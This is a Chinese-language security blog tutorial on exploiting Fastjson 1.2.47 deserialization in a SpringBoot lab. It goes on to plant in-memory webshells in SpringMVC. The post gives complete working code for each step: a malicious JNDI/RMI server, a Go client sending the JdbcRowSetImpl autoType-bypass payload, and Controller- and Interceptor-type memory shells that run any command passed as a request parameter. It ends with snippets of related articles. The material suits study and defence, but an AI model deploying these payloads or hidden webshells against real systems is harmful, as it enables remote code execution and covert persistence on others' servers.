SpringMVC配合Fastjson的内存马利用与分析

VSole2021-08-03 17:02:02

SpringMVC

Spring MVC是一种基于Java的实现了Web MVC设计模式的请求驱动类型的轻量级Web框架,即使用了MVC架构模式的思想,将web层进行职责解耦,基于请求驱动指的就是使用请求-响应模型,框架的目的就是帮助我们简化开发,Spring Web MVC也是要简化我们日常Web开发的

总而言之,SpringMVC框架使用范围极广。笔者大二曾参与多个实际上线Java项目的开发,他们的框架都包含了SpringMVC

下面做一个基本的功能演示:

@Controllerpublic class TestController {    @RequestMapping("/test")    @ResponseBody    public String test(){        return "
hello world
";    }}

以上代码实现了用户访问localhost:8080/test后返回html代码

hello world

搭建环境

笔者为了方便搭建环境,采用了SpringBoot,JDK为8u131,使用Fastjson创造反序列化利用点

<dependencies>        <dependency>            <groupId>com.alibabagroupId>            <artifactId>fastjsonartifactId>            <version>1.2.47version>        dependency>        <dependency>            <groupId>org.springframework.bootgroupId>            <artifactId>spring-boot-starter-webartifactId>        dependency>        <dependency>            <groupId>org.springframework.bootgroupId>            <artifactId>spring-boot-starter-testartifactId>            <scope>testscope>        dependency>    dependencies>

创造一个反序列化利用点

// 使用fastjson 1.2.47模拟利用点import com.alibaba.fastjson.JSON;
@Controllerpublic class TestController {    @RequestMapping("/deserialize")    @ResponseBody    public String deserialize(@RequestParam String code) throws Exception{        // 本地JDK版本过高,为了方便,直接设置系统变量以成功利用JNDI注入        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");        JSON.parse(code);        return "deserialize";    }}

漏洞利用

首先尝试弹出计算器,确保利用成功后再尝试内存马

攻击者启动JNDI Server

public class JNDIServer {    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {        Registry registry = LocateRegistry.createRegistry(1099);        Reference reference = new Reference("badClassName",                "com.test.shell.badClassName","http://127.0.0.1:8000/");        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);        registry.bind("Exploit", referenceWrapper);    }}

其中的badClassName代码如下,在静态代码块中执行计算器命令

package com.test.shell;
public class badClassName {    static {        try {            Runtime.getRuntime().exec("calc");        } catch (Exception e) {            e.printStackTrace();        }    }}

Reference的factoryLocation为class文件的http服务器,笔者使用Golang做了简单的路径映射

注意:不能直接映射到badClassName当前路径,而是classes路径

func main() {    mux := http.NewServeMux()    path := "YourPath\\Fastjson\\target\\classes"    mux.Handle("/", http.StripPrefix("/", http.FileServer(http.Dir(path))))    if err := http.ListenAndServe(":8000", mux); err != nil {        fmt.Println("ok")    }}

图片是访问/com/test/shell后的效果

使用Golang发送Fastjson的JdbcRowSetImpl类型的Payload

func main() {    clint := &http.Client{}    payload := "{" +        "    \"a\":{" +        "        \"@type\":\"java.lang.Class\"," +        "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"" +        "    }," +        "    \"b\":{" +        "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +        "        \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\"," +        "        \"autoCommit\":true" +        "    }" +        "}"    // 防止出现意外问题,对Payload进行URL编码    resp, err := clint.Get("http://127.0.0.1:8080/deserialize?code=" + url.QueryEscape(payload))    if err != nil {        fmt.Println(err)    }    fmt.Println(resp.StatusCode)}

当我们发送后发现成功弹出计算器

既然分析到此处,顺便来看一下1.2.47版本绕过和JdbcRowSetImpl的原理,使用a和b两个对象,为了将a设置到缓存mapping中在第二个对象加载时绕过哈希黑名单和关闭动态类型机制。JdbcRowSetImpl对象我们设置其autoCommit属性为true是因为在setAutoCommit方法中有如下代码

public void setAutoCommit(boolean var1) throws SQLException {    if (this.conn != null) {        this.conn.setAutoCommit(var1);    } else {        this.conn = this.connect();        this.conn.setAutoCommit(var1);    }}

由于没有设置this.conn代码会进入this.connect,其中包含了 lookup(this.getDataSourceName())的代码。这里的dataSourceName正是传入的值,在这里被当作参数传入lookup函数,然后前往JNDI Server使用对应的协议寻找,由于JDNI绑定Reference,这里会加载到本地,实例化

private Connection connect() throws SQLException {    if (this.conn != null) {        return this.conn;    } else if (this.getDataSourceName() != null) {        try {            InitialContext var1 = new InitialContext();            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());            ......

内存马

上文已经成功弹出计算器了,说明笔者创造的漏洞点生效,下面将介绍内存马

该内存马代码参考网上大佬的博客,做了一些修改,本文后续正是采用此方法(将在后文给出大佬博客链接)

package com.test.shell;
import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;
public class InjectToController {    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {        // 关于获取Context的方式有多种        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.                currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");        method.setAccessible(true);        // 通过反射获得该类的test方法        Method method2 = InjectToController.class.getMethod("test");        // 定义该controller的path        PatternsRequestCondition url = new PatternsRequestCondition("/good");        // 定义允许访问的HTTP方法        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();        // 构造注册信息        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);        // 创建用于处理请求的对象,避免无限循环使用另一个构造方法        InjectToController injectToController = new InjectToController("aaa");        // 将该controller注册到Spring容器        mappingHandlerMapping.registerMapping(info, injectToController, method2);    }
    // 第二个构造函数    public InjectToController(String aaa) {    }
    public void test() throws IOException {        // 获取请求        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();        // 获取请求的参数cmd并执行        // 类似于PHP的eval($_GET["cmd"])        Runtime.getRuntime().exec(request.getParameter("cmd"));    }}

注意网上给出的这部分代码在高版本SpringMVC中无效,并且找不到合适的替代。这部分代码的目的是防止注册重复path,这种问题其实不需要这种复杂处理,对上文中/good部分的path替换为/Go0D等组合即可,因为正常的业务代码不可能定义这类特殊的path

Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");

这是Controller形的内存马,同时存在Interceptor型的内存马。Interceptor名为拦截器,类似Filter,常用于处理权限问题,有兴趣的师傅可以尝试

public class TestInterceptor extends HandlerInterceptorAdapter {    public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {        // 获取context        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        // 从context中获取AbstractHandlerMapping的实例对象        org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");        // 反射获取adaptedInterceptors属性        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");        field.setAccessible(true);        java.util.ArrayList adaptedInterceptors = (java.util.ArrayList) field.get(abstractHandlerMapping);        // 避免重复添加        for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {            if (adaptedInterceptors.get(i) instanceof TestInterceptor) {                System.out.println("已经添加过TestInterceptor实例了");                return;            }        }        TestInterceptor aaa = new TestInterceptor("aaa");  // 避免进入实例创建的死循环        adaptedInterceptors.add(aaa);  //  添加全局interceptor    }
    private TestInterceptor(String aaa) {    }
    @Override    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {        String code = request.getParameter("code");        // 不干扰正常业务逻辑        if (code != null) {            java.lang.Runtime.getRuntime().exec(code);            return true;        } else {            return true;        }    }}
注意其中的这部分代码在高版本SpringMVC中会遇到错误,导致无法注册Interceptor。由于时间关系,笔者并未尝试寻找替代类,有兴趣的师傅可以寻找合适的高版本利用方式

context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
提供landgrey师傅文章中获取context的几种方式,测试高版本SpringMVC可用的如下

WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
// 本文的方式WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
说了这么多,还没进行内存马的利用,改下JNDI Server

public class JNDIServer {    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {        Registry registry = LocateRegistry.createRegistry(1099);        Reference reference = new Reference("InjectToController",                "com.test.shell.InjectToController", "http://127.0.0.1:8000/");        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);        registry.bind("Exploit", referenceWrapper);    }}
访问localhost:8080/good?cmd=calc,成功生成内存马

 


写在后面
关于本文有几处思考:
1.目前的内存马是无回显的,可以修改代码实现回显
2.笔者模拟的利用点是Fastjson反序列化,是否有其他方式(思路:SPEL型RCE,SSTI…)
3.既然Spring可以,那Struts2/Tomcat,甚至国产框架JFinal等框架是否也可以有类似的思路
 


参考链接
https://landgrey.me/blog/12/
https://landgrey.me/blog/19/
https://xz.aliyun.com/t/9344
https://www.cnblogs.com/bitterz/p/14859766.html
https://www.cnblogs.com/bitterz/p/14820898.html
fastjsoncontext
本作品采用《CC 协议》,转载必须注明作者和本文链接
fastjson反序列化已经是近几年继Struts2漏洞后,最受安全人员欢迎而开发人员抱怨的一个漏洞了。
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。 在进行fastjson的漏洞复现学习之前需要了解几个概念,如下:
笔者继续带大家炒Fastjson的冷饭。关于漏洞分析和利用链分析文章网上已有大量,但是关于如何自动化检测的文章还是比较少见的,尤其是如何不使用Java对Fastjson做检测。
Spring MVC是一种基于Java的实现了Web MVC设计模式的请求驱动类型的轻量级Web框架,即使用了MVC架构模式的思想,将web层进行职责解耦,基于请求驱动指的就是使用请求-响应模型,框架的目的就是帮助我们简化开发,Spring Web MVC也是要简化我们日常Web开发的
fastjson.jar是阿里开发的一款专门用于Java开发的包,可以方便的实现json对象与JavaBean对象的转换,实现JavaBean对象与json字符串的转换,实现json对象与json字符串的转换。除了这个fastjson以外,还有Google开发的Gson包,其他形式的如net.sf.json包,都可以实现json的转换。方法名称不同而已,最后的实现结果都是一样的。
fastjson的漏洞主要都是因为AutoType造成的,后续的修复和其他版本的绕过都围绕此来进行。
目前的Log4j2检测都需要借助dnslog平台,是否存在不借助dnslog的检测方式呢
目前,多数项目会有多数据源的要求,或者是主从部署的要求,所以我们还需要引入mybatis-plus关于多数据源的依赖:。#设置默认的数据源或者数据源组,默认值即为master. true未匹配到指定数据源时抛异常,false使用默认数据源。表名注解,用于标识实体类对应的表。其说明如下,关于这些书写,常规情况基本很少用到,不做多余解释了:@Documented
部分getshell漏洞汇总
2022-07-20 10:12:45
即可未授权访问console后台,但是权限比较低备注:此处会出现个问题,在复现的环境中直接拼接
VSole
网络安全专家